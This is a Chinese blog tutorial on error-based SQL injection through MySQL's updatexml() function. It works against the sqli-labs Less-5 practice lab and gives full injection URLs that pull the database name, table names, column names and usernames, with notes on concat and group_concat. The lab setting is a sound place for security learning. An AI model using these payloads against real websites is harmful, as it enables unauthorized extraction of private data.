梦の博客 欢迎来到我的破站
歌曲封面 未知作品

网站已运行 362 天 17 小时 22 分

Powered by Typecho & Sunny

2 online · 52 ms

Title

updatexml报错注入

云梦

·

Article
⚠️ 本文最后更新于2023年05月31日,已经过了332天没有更新,若内容或图片失效,请留言反馈

updatexml() 函数的一般语法如下:

♾️ abnf 代码:
updatexml(xml_target, xpath_expr, new_value)

xml_target: 表示要更新的 XML 列或变量。

xpath_expr: 表示要更新的 XML 节点的路径。

new_value: 表示要设置的新值。

查询数据库:

♾️ abnf 代码:
http://localhost/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+
lib4co8r.png
这里的0x7e就是~,所以数据库名就是 security

查询表名:

♾️ abnf 代码:
http://localhost/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+

lib5469x.png

查询表的列名:

♾️ abnf 代码:
http://localhost/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
lib56g2v.png

查询列的数据:

♾️ abnf 代码:
http://localhost/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+
lib59e83.png

concat:

♾️ abnf 代码:
concat()函数接受多个参数,将这些参数的值按顺序连接在一起,并返回一个新的字符串作为结果。

group_concat(table_name)函数是一种聚合函数,用于将多行数据按指定方式连接成一个字符串,并返回该字符串作为结果。

distinct concat函数用于在查询结果中去除重复的行。如果在指定的列上存在重复的值,只会保留其中一行。

简单理解:
lib5bsbj.png
基本语句:udpatexml (1,xpath_expr,1)
每次使用concat都要用上(0x7e,( ),0x7e)
思路 先用group_concat把所有结果用逗号分隔,再用distinct concat去重,再用concat总和一下内容。

现在已有 0 条评论,0 人点赞
Comment
发表
搜 索 消 息 足 迹
你还不曾留言过..
你还不曾留下足迹..
博主